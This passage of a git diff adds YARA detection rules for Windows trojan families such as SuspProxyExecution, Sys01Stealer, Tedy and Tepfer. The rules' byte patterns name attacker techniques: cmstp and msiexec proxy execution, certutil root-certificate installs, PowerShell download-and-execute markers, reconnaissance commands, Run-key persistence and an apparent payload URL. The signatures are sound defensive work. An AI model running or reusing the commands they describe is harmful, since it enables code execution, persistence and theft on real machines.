b/Trojan/Win32/SuspProxyExecution/Trojan_Win32_SuspProxyExecution_B.yar new file mode 100644 index 0000000000..1252a62fec --- /dev/null +++ b/Trojan/Win32/SuspProxyExecution/Trojan_Win32_SuspProxyExecution_B.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_SuspProxyExecution_B{ + meta: + description = "Trojan:Win32/SuspProxyExecution.B,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_80_0 = {26 20 63 6d 73 74 70 2e 65 78 65 20 2f 73 } //& cmstp.exe /s 2 + $a_80_1 = {5f 63 6d 73 74 70 2e 74 78 74 } //_cmstp.txt 1 + $a_80_2 = {5f 63 6d 73 74 70 2e 69 6e 69 } //_cmstp.ini 1 + condition: + ((#a_80_0 & 1)*2+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/SuspProxyExecution/Trojan_Win32_SuspProxyExecution_C.yar b/Trojan/Win32/SuspProxyExecution/Trojan_Win32_SuspProxyExecution_C.yar new file mode 100644 index 0000000000..8986efcf81 --- /dev/null +++ b/Trojan/Win32/SuspProxyExecution/Trojan_Win32_SuspProxyExecution_C.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_SuspProxyExecution_C{ + meta: + description = "Trojan:Win32/SuspProxyExecution.C,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 03 00 00 " + + strings : + $a_80_0 = {26 20 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 20 63 6f 6e 74 72 6f 6c 2e 65 78 65 } //& powershell.exe control.exe 1 + $a_02_1 = {5c 00 74 00 65 00 6d 00 70 00 5c 00 [0-8f] 2e 00 63 00 70 00 6c 00 20 00 26 00 } //1 + $a_02_2 = {5c 74 65 6d 70 5c [0-8f] 2e 63 70 6c 20 26 } //1 + condition: + ((#a_80_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/SuspProxyExecution/Trojan_Win32_SuspProxyExecution_D.yar b/Trojan/Win32/SuspProxyExecution/Trojan_Win32_SuspProxyExecution_D.yar new file mode 100644 index 0000000000..ca897f7379 --- /dev/null +++ b/Trojan/Win32/SuspProxyExecution/Trojan_Win32_SuspProxyExecution_D.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_SuspProxyExecution_D{ + meta: + description = "Trojan:Win32/SuspProxyExecution.D,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_80_0 = {3e 6e 75 6c 20 26 20 6d 73 69 65 78 65 63 20 2f 69 } //>nul & msiexec /i 1 + $a_80_1 = {64 6c 6c 5f 70 61 74 68 3d } //dll_path= 1 + $a_80_2 = {2f 70 61 73 73 69 76 65 20 26 } ///passive & 1 + condition: + ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/SuspProxyExecution/Trojan_Win32_SuspProxyExecution_E.yar b/Trojan/Win32/SuspProxyExecution/Trojan_Win32_SuspProxyExecution_E.yar new file mode 100644 index 0000000000..e2d7e2dabe --- /dev/null +++ b/Trojan/Win32/SuspProxyExecution/Trojan_Win32_SuspProxyExecution_E.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_SuspProxyExecution_E{ + meta: + description = "Trojan:Win32/SuspProxyExecution.E,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 03 00 00 " + + strings : + $a_80_0 = {26 20 76 65 72 63 6c 73 69 64 2e 65 78 65 } //& verclsid.exe 1 + $a_02_1 = {2f 00 73 00 20 00 2f 00 63 00 20 00 7b 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 2d 00 ?? ?? ?? ?? ?? ?? ?? ?? 2d 00 ?? ?? ?? ?? ?? ?? ?? ?? 2d 00 ?? ?? ?? ?? ?? ?? ?? ?? 2d 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 7d 00 20 00 26 00 } //1 + $a_02_2 = {2f 73 20 2f 63 20 7b ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 2d ?? ?? ?? ?? ?? ?? ?? ?? 2d ?? ?? ?? ?? ?? ?? ?? ?? 2d ?? ?? ?? ?? ?? ?? ?? ?? 2d ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 7d 20 26 } //1 + condition: + ((#a_80_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/SuspRootInstall/Trojan_Win32_SuspRootInstall_A.yar b/Trojan/Win32/SuspRootInstall/Trojan_Win32_SuspRootInstall_A.yar new file mode 100644 index 0000000000..2c48f31be1 --- /dev/null +++ b/Trojan/Win32/SuspRootInstall/Trojan_Win32_SuspRootInstall_A.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_SuspRootInstall_A{ + meta: + description = "Trojan:Win32/SuspRootInstall.A,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_80_0 = {26 20 63 65 72 74 75 74 69 6c 2e 65 78 65 } //& certutil.exe 1 + $a_80_1 = {2d 61 64 64 73 74 6f 72 65 20 72 6f 6f 74 } //-addstore root 1 + $a_80_2 = {5c 77 69 6e 64 6f 77 73 5c 74 65 6d 70 5c } //\windows\temp\ 1 + condition: + ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/SuspSqlpsExec/Trojan_Win32_SuspSqlpsExec_A.yar b/Trojan/Win32/SuspSqlpsExec/Trojan_Win32_SuspSqlpsExec_A.yar new file mode 100644 index 0000000000..1d68f7edd4 --- /dev/null +++ b/Trojan/Win32/SuspSqlpsExec/Trojan_Win32_SuspSqlpsExec_A.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_SuspSqlpsExec_A{ + meta: + description = "Trojan:Win32/SuspSqlpsExec.A,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 05 00 00 " + + strings : + $a_00_0 = {73 00 71 00 6c 00 70 00 73 00 2e 00 65 00 78 00 65 00 } //10 sqlps.exe + $a_00_1 = {6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 } //1 net.webclient + $a_00_2 = {69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 65 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 } //1 invoke-expression + $a_00_3 = {69 00 65 00 78 00 28 00 } //1 iex( + $a_00_4 = {24 00 65 00 6e 00 76 00 3a 00 74 00 65 00 6d 00 70 00 63 00 6d 00 64 00 } //-20 $env:tempcmd + condition: + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*-20) >=11 + +} \ No newline at end of file diff --git a/Trojan/Win32/Sys01Stealer/Trojan_Win32_Sys01Stealer_A.yar b/Trojan/Win32/Sys01Stealer/Trojan_Win32_Sys01Stealer_A.yar new file mode 100644 index 0000000000..9e52914fa0 --- /dev/null +++ b/Trojan/Win32/Sys01Stealer/Trojan_Win32_Sys01Stealer_A.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_Sys01Stealer_A{ + meta: + description = "Trojan:Win32/Sys01Stealer.A,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 00 " + + strings : + $a_80_0 = {3f 6d 61 63 68 69 6e 65 5f 69 64 3d 24 6d 61 63 68 69 6e 65 49 64 26 } //?machine_id=$machineId& 1 + $a_80_1 = {3f 61 3d 68 74 74 70 26 64 65 76 3d 31 26 } //?a=http&dev=1& 1 + $a_80_2 = {26 76 3d 7b 24 63 6f 6e 66 69 67 5b 27 76 65 72 73 69 6f 6e 27 5d 7d 26 } //&v={$config['version']}& 1 + $a_80_3 = {42 72 6f 77 73 65 72 28 42 72 6f 77 73 65 72 3a 3a 42 41 53 45 44 5f 43 48 52 4f 4d 45 4d 49 55 4d 2c } //Browser(Browser::BASED_CHROMEMIUM, 1 + $a_80_4 = {42 72 6f 77 73 65 72 28 42 72 6f 77 73 65 72 3a 3a 42 41 53 45 44 5f 4d 4f 5a 2c } //Browser(Browser::BASED_MOZ, 1 + $a_80_5 = {73 68 65 6c 6c 5f 65 78 65 63 28 24 63 29 } //shell_exec($c) 1 + $a_80_6 = {24 74 61 73 6b 2d 3e 73 61 76 65 5f 74 6f 5f 63 75 72 72 65 6e 74 5f 77 6f 72 6b } //$task->save_to_current_work 1 + condition: + ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win32/SysEnum/Trojan_Win32_SysEnum_Z_MTB.yar b/Trojan/Win32/SysEnum/Trojan_Win32_SysEnum_Z_MTB.yar new file mode 100644 index 0000000000..e7ff8cd01e --- /dev/null +++ b/Trojan/Win32/SysEnum/Trojan_Win32_SysEnum_Z_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_SysEnum_Z_MTB{ + meta: + description = "Trojan:Win32/SysEnum.Z!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,07 00 07 00 07 00 00 " + + strings : + $a_00_0 = {73 00 79 00 73 00 74 00 65 00 6d 00 69 00 6e 00 66 00 6f 00 } //1 systeminfo + $a_00_1 = {77 00 6d 00 69 00 63 00 20 00 6c 00 6f 00 67 00 69 00 63 00 61 00 6c 00 64 00 69 00 73 00 6b 00 } //1 wmic logicaldisk + $a_00_2 = {6e 00 65 00 74 00 20 00 75 00 73 00 65 00 72 00 20 00 67 00 75 00 65 00 73 00 74 00 } //1 net user guest + $a_00_3 = {6e 00 65 00 74 00 20 00 75 00 73 00 65 00 72 00 20 00 61 00 64 00 6d 00 69 00 6e 00 69 00 73 00 74 00 72 00 61 00 74 00 6f 00 72 00 } //1 net user administrator + $a_00_4 = {6e 00 65 00 74 00 73 00 68 00 20 00 66 00 69 00 72 00 65 00 77 00 61 00 6c 00 6c 00 20 00 73 00 68 00 6f 00 77 00 20 00 73 00 74 00 61 00 74 00 65 00 } //1 netsh firewall show state + $a_00_5 = {74 00 61 00 73 00 6b 00 6c 00 69 00 73 00 74 00 20 00 2f 00 73 00 76 00 63 00 } //1 tasklist /svc + $a_00_6 = {69 00 70 00 63 00 6f 00 6e 00 66 00 69 00 67 00 2f 00 61 00 6c 00 6c 00 20 00 } //1 ipconfig/all + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win32/SystemBC/Trojan_Win32_SystemBC_BW_MTB.yar b/Trojan/Win32/SystemBC/Trojan_Win32_SystemBC_BW_MTB.yar new file mode 100644 index 0000000000..48fb9f95fc --- /dev/null +++ b/Trojan/Win32/SystemBC/Trojan_Win32_SystemBC_BW_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_SystemBC_BW_MTB{ + meta: + description = "Trojan:Win32/SystemBC.BW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {8b 4d f0 85 c9 0f 88 ?? ?? 00 00 39 c1 0f 86 ?? ?? 00 00 89 c1 83 e1 1f 0f b6 89 ?? ?? ?? ?? 8b 55 ec 30 0c 02 40 3d ?? ?? ?? ?? 72 } //4 + $a_01_1 = {44 6c 6c 52 65 67 69 73 74 65 72 53 65 72 76 65 72 } //1 DllRegisterServer + condition: + ((#a_03_0 & 1)*4+(#a_01_1 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/TampEnum/Trojan_Win32_TampEnum_A_MTB.yar b/Trojan/Win32/TampEnum/Trojan_Win32_TampEnum_A_MTB.yar new file mode 100644 index 0000000000..350b57372f --- /dev/null +++ b/Trojan/Win32/TampEnum/Trojan_Win32_TampEnum_A_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_TampEnum_A_MTB{ + meta: + description = "Trojan:Win32/TampEnum.A!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_00_0 = {74 00 61 00 73 00 6b 00 6c 00 69 00 73 00 74 00 } //1 tasklist + $a_00_1 = {69 00 6d 00 61 00 67 00 65 00 6e 00 61 00 6d 00 65 00 20 00 65 00 71 00 20 00 4d 00 73 00 4d 00 70 00 45 00 6e 00 67 00 2e 00 65 00 78 00 65 00 } //1 imagename eq MsMpEng.exe + $a_00_2 = {66 00 69 00 6e 00 64 00 } //1 find + $a_00_3 = {50 00 49 00 44 00 } //1 PID + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Tasker/Trojan_Win32_Tasker_BAA_MTB.yar b/Trojan/Win32/Tasker/Trojan_Win32_Tasker_BAA_MTB.yar new file mode 100644 index 0000000000..6d4bee5592 --- /dev/null +++ b/Trojan/Win32/Tasker/Trojan_Win32_Tasker_BAA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Tasker_BAA_MTB{ + meta: + description = "Trojan:Win32/Tasker.BAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {5a 2b d0 31 13 83 45 ec 04 83 c3 04 8b 45 ec 3b 45 dc 72 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Tasker/Trojan_Win32_Tasker_LM_MTB.yar b/Trojan/Win32/Tasker/Trojan_Win32_Tasker_LM_MTB.yar new file mode 100644 index 0000000000..bb4e4b3ec1 --- /dev/null +++ b/Trojan/Win32/Tasker/Trojan_Win32_Tasker_LM_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Tasker_LM_MTB{ + meta: + description = "Trojan:Win32/Tasker.LM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,23 00 23 00 03 00 00 " + + strings : + $a_01_0 = {81 44 00 94 83 44 00 40 33 40 00 00 a8 44 00 94 30 40 00 b0 30 40 00 fc 83 44 00 40 75 43 00 6c 89 44 00 ac 6f 41 00 bc 85 44 00 f8 85 44 00 04 87 44 00 88 01 43 00 30 cb } //20 + $a_03_1 = {35 01 00 9c 96 42 00 8d 40 00 b8 1e 45 00 07 04 54 79 ?? 35 8c 1d 45 00 08 57 44 00 5e 00 05 55 6e 69 74 31 00 00 55 8b } //10 + $a_03_2 = {33 c0 01 1e 8b 7d d8 03 7d a4 03 fb 03 f8 c7 45 b8 89 15 00 00 6a 00 e8 ?? ?? ?? ?? 03 7d b8 81 ef 89 15 00 00 2b f8 6a 00 e8 ?? ?? ?? ?? 2b f8 6a 00 e8 ?? ?? ?? ?? 2b f8 31 3e 83 c3 04 83 c6 04 3b 5d e0 } //5 + condition: + ((#a_01_0 & 1)*20+(#a_03_1 & 1)*10+(#a_03_2 & 1)*5) >=35 + +} \ No newline at end of file diff --git a/Trojan/Win32/Tedy/Trojan_Win32_Tedy_AB_MTB.yar b/Trojan/Win32/Tedy/Trojan_Win32_Tedy_AB_MTB.yar new file mode 100644 index 0000000000..ea43dce3a9 --- /dev/null +++ b/Trojan/Win32/Tedy/Trojan_Win32_Tedy_AB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Tedy_AB_MTB{ + meta: + description = "Trojan:Win32/Tedy.AB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {66 a9 00 80 0f 95 c0 8b 15 c0 97 6b 00 8b 12 32 82 d4 00 00 00 0f 84 fa 00 00 00 a1 14 f6 6b 00 8b 10 ff 52 08 a1 10 f6 6b 00 8b 58 08 4b 85 db 0f 8c ae 00 00 00 43 33 ff } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Tedy/Trojan_Win32_Tedy_LMD_MTB.yar b/Trojan/Win32/Tedy/Trojan_Win32_Tedy_LMD_MTB.yar new file mode 100644 index 0000000000..8ae77a355f --- /dev/null +++ b/Trojan/Win32/Tedy/Trojan_Win32_Tedy_LMD_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Tedy_LMD_MTB{ + meta: + description = "Trojan:Win32/Tedy.LMD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 02 00 00 " + + strings : + $a_01_0 = {8a 14 31 8a c3 32 c2 8a d0 80 e2 0f c0 e2 04 c0 e8 04 02 d0 88 14 31 49 } //15 + $a_01_1 = {8b 4d 0a 8d 7a 12 89 4a 0a 8b 44 24 10 89 42 0e 8b 4c 24 10 8b d1 8b f3 c1 e9 02 f3 a5 8b ca b8 01 00 00 00 83 e1 03 f3 a4 5f 5e 5d 5b 81 c4 14 01 00 00 } //10 + condition: + ((#a_01_0 & 1)*15+(#a_01_1 & 1)*10) >=25 + +} \ No newline at end of file diff --git a/Trojan/Win32/Tedy/Trojan_Win32_Tedy_LM_MTB.yar b/Trojan/Win32/Tedy/Trojan_Win32_Tedy_LM_MTB.yar new file mode 100644 index 0000000000..e7ede7211d --- /dev/null +++ b/Trojan/Win32/Tedy/Trojan_Win32_Tedy_LM_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Tedy_LM_MTB{ + meta: + description = "Trojan:Win32/Tedy.LM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 02 00 00 " + + strings : + $a_03_0 = {f7 ef 83 ec 08 c7 45 fc 00 00 00 00 03 d7 c1 fa 10 8b c2 c1 e8 1f 03 c2 66 0f 6e c0 f3 0f e6 c0 f2 0f 11 85 78 ff ff ff dd 85 78 ff ff ff dd 1c 24 e8 ?? ?? ?? ?? 83 c4 08 dd 9d 78 ff ff ff f2 0f 10 85 78 ff ff ff e8 ?? ?? ?? ?? 8b f0 8b d7 69 ce 80 51 01 00 b8 c5 b3 a2 91 83 ec 08 89 b5 6c ff ff ff 2b d1 b9 18 00 00 00 f7 e2 c1 ea 0b 8b c2 } //20 + $a_03_1 = {0f 10 08 0f 28 c1 66 0f 73 d8 04 66 0f 7e c0 0f 28 c1 66 0f 73 d8 0c 66 0f 7e c1 2b c1 66 0f 7e c9 03 c6 66 0f 73 d9 08 8b b5 ec fe ff ff 99 2b c2 d1 f8 50 66 0f 7e c8 2b c8 8d 81 6a ff ff ff 03 c7 50 ff 36 e8 ?? ?? ?? ?? 83 c4 14 80 be d4 00 00 00 00 74 ?? 6a 01 ff 36 } //10 + condition: + ((#a_03_0 & 1)*20+(#a_03_1 & 1)*10) >=30 + +} \ No newline at end of file diff --git a/Trojan/Win32/Tedy/Trojan_Win32_Tedy_MSM_MTB.yar b/Trojan/Win32/Tedy/Trojan_Win32_Tedy_MSM_MTB.yar new file mode 100644 index 0000000000..cd14a66f37 --- /dev/null +++ b/Trojan/Win32/Tedy/Trojan_Win32_Tedy_MSM_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Tedy_MSM_MTB{ + meta: + description = "Trojan:Win32/Tedy.MSM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {8b 01 69 f6 95 e9 d1 5b 69 c0 95 e9 d1 5b 8b d8 c1 eb 18 33 d8 69 db ?? ?? ?? ?? 33 f3 83 ea 04 83 c1 04 4f 75 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Tedy/Trojan_Win32_Tedy_MX_MTB.yar b/Trojan/Win32/Tedy/Trojan_Win32_Tedy_MX_MTB.yar new file mode 100644 index 0000000000..4cdeff7d16 --- /dev/null +++ b/Trojan/Win32/Tedy/Trojan_Win32_Tedy_MX_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Tedy_MX_MTB{ + meta: + description = "Trojan:Win32/Tedy.MX!MTB,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {02 28 15 00 00 06 03 28 19 00 00 06 20 b8 0b 00 00 28 11 00 00 0a } //1 + $a_01_1 = {53 00 4f 00 46 00 54 00 57 00 41 00 52 00 45 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 5c 00 52 00 75 00 6e 00 } //1 SOFTWARE\Microsoft\Windows\CurrentVersion\Run + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Tedy/Trojan_Win32_Tedy_PGC_MTB.yar b/Trojan/Win32/Tedy/Trojan_Win32_Tedy_PGC_MTB.yar new file mode 100644 index 0000000000..848bc956bf --- /dev/null +++ b/Trojan/Win32/Tedy/Trojan_Win32_Tedy_PGC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Tedy_PGC_MTB{ + meta: + description = "Trojan:Win32/Tedy.PGC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {40 32 e8 32 d8 40 32 f8 40 32 f0 40 80 f5 5a 80 f3 5a 40 80 f7 5a 40 88 2d } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Tedy/Trojan_Win32_Tedy_PTC_MTB.yar b/Trojan/Win32/Tedy/Trojan_Win32_Tedy_PTC_MTB.yar new file mode 100644 index 0000000000..7bb4290d2a --- /dev/null +++ b/Trojan/Win32/Tedy/Trojan_Win32_Tedy_PTC_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Tedy_PTC_MTB{ + meta: + description = "Trojan:Win32/Tedy.PTC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 02 00 00 " + + strings : + $a_03_0 = {ac 84 c0 74 ?? 30 07 47 39 cf 75 } //7 + $a_03_1 = {29 d2 50 57 52 52 68 ?? ?? ?? ?? 52 52 52 56 52 ff 15 } //2 + condition: + ((#a_03_0 & 1)*7+(#a_03_1 & 1)*2) >=9 + +} \ No newline at end of file diff --git a/Trojan/Win32/Tedy/Trojan_Win32_Tedy_SCP_MTB.yar b/Trojan/Win32/Tedy/Trojan_Win32_Tedy_SCP_MTB.yar new file mode 100644 index 0000000000..437cb4db4f --- /dev/null +++ b/Trojan/Win32/Tedy/Trojan_Win32_Tedy_SCP_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Tedy_SCP_MTB{ + meta: + description = "Trojan:Win32/Tedy.SCP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {4c 8b c0 48 c7 44 24 20 ?? ?? ?? ?? 45 33 c9 48 8d 15 ?? ?? ?? ?? 33 c9 ff 15 ?? ?? ?? ?? 48 8d 54 24 30 48 8d 4c 24 50 e8 ?? ?? ?? ?? 48 8d 4c 24 50 e8 ?? ?? ?? ?? 4c 8b c0 c7 44 24 28 ?? ?? ?? ?? 4c 8b cb 48 89 5c 24 20 48 8d 15 ?? ?? ?? ?? 33 c9 ff 15 } //2 + $a_01_1 = {65 00 78 00 6f 00 74 00 31 00 63 00 2e 00 76 00 65 00 72 00 63 00 65 00 6c 00 2e 00 61 00 70 00 70 00 2f 00 6b 00 78 00 7a 00 2d 00 66 00 72 00 65 00 65 00 2f 00 69 00 64 00 6b 00 2f 00 6d 00 73 00 65 00 64 00 67 00 65 00 2e 00 65 00 78 00 65 00 } //1 exot1c.vercel.app/kxz-free/idk/msedge.exe + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Tepfer/Trojan_Win32_Tepfer_BAB_MTB.yar b/Trojan/Win32/Tepfer/Trojan_Win32_Tepfer_BAB_MTB.yar new file mode 100644 index 0000000000..062ba3133c --- /dev/null +++ b/Trojan/Win32/Tepfer/Trojan_Win32_Tepfer_BAB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Tepfer_BAB_MTB{ + meta: + description = "Trojan:Win32/Tepfer.BAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {33 c0 8b 55 ec 01 13 8b 75 d4 03 75 ac 03 75 ec 03 f0 bf 89 15 00 00 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Tepfer/Trojan_Win32_Tepfer_BAC_MTB.yar b/Trojan/Win32/Tepfer/Trojan_Win32_Tepfer_BAC_MTB.yar new file mode 100644 index 0000000000..3fe762e7e9 --- /dev/null +++ b/Trojan/Win32/Tepfer/Trojan_Win32_Tepfer_BAC_MTB.yar @@ -0,0 +1,21 @@ + +rule Trojan_Win32_Tepfer_BAC_MTB{ + meta: + description = "Trojan:Win32/Tepfer.BAC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {5a 2b d0 31 13 6a 00 e8 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} +rule Trojan_Win32_Tepfer_BAC_MTB_2{ + meta: + description = "Trojan:Win32/Tepfer.BAC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {5a 2b d0 31 13 83 45 ec 04 6a 00 e8 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Tepfer/Trojan_Win32_Tepfer_BAD_MTB.yar b/Trojan/Win32/Tepfer/Trojan_Win32_Tepfer_BAD_MTB.yar new file mode 100644 index 0000000000..667cd79522 --- /dev/null +++ b/Trojan/Win32/Tepfer/Trojan_Win32_Tepfer_BAD_MTB.yar @@ -0,0 +1,21 @@ + +rule Trojan_Win32_Tepfer_BAD_MTB{ + meta: + description = "Trojan:Win32/Tepfer.BAD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {2b f8 8b 45 dc 31 38 83 45 ec 04 83 45 dc 04 8b 45 ec 3b 45 d8 72 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} +rule Trojan_Win32_Tepfer_BAD_MTB_2{ + meta: + description = "Trojan:Win32/Tepfer.BAD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {b8 00 10 00 00 8b 55 ?? 03 55 ?? 2b d0 83 c2 04 89 55 ?? b8 6a 0a 00 00 ff 75 ?? b8 6a 0a 00 00 ff 75 ?? b8 6a 0a 00 00 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Tepfer/Trojan_Win32_Tepfer_EAHR_MTB.yar b/Trojan/Win32/Tepfer/Trojan_Win32_Tepfer_EAHR_MTB.yar new file mode 100644 index 0000000000..ccd42c6eef --- /dev/null +++ b/Trojan/Win32/Tepfer/Trojan_Win32_Tepfer_EAHR_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Tepfer_EAHR_MTB{ + meta: + description = "Trojan:Win32/Tepfer.EAHR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_02_0 = {8b 03 8b 8d 00 ef ff ff 8a 5c 08 03 88 9d 04 ef ff ff c0 e3 02 81 3d ?? ?? ?? ?? 09 0d 00 00 } //5 + condition: + ((#a_02_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Tepfer/Trojan_Win32_Tepfer_PGT_MTB.yar b/Trojan/Win32/Tepfer/Trojan_Win32_Tepfer_PGT_MTB.yar new file mode 100644 index 0000000000..b2f6a74112 --- /dev/null +++ b/Trojan/Win32/Tepfer/Trojan_Win32_Tepfer_PGT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Tepfer_PGT_MTB{ + meta: + description = "Trojan:Win32/Tepfer.PGT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {8b c8 c1 e9 1e 33 c8 69 c1 ?? ?? ?? ?? 03 c6 89 84 b5 74 ec ff ff 46 3b f2 72 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Tepfer/Trojan_Win32_Tepfer_SGGL_MTB.yar b/Trojan/Win32/Tepfer/Trojan_Win32_Tepfer_SGGL_MTB.yar new file mode 100644 index 0000000000..06927d8422 --- /dev/null +++ b/Trojan/Win32/Tepfer/Trojan_Win32_Tepfer_SGGL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Tepfer_SGGL_MTB{ + meta: + description = 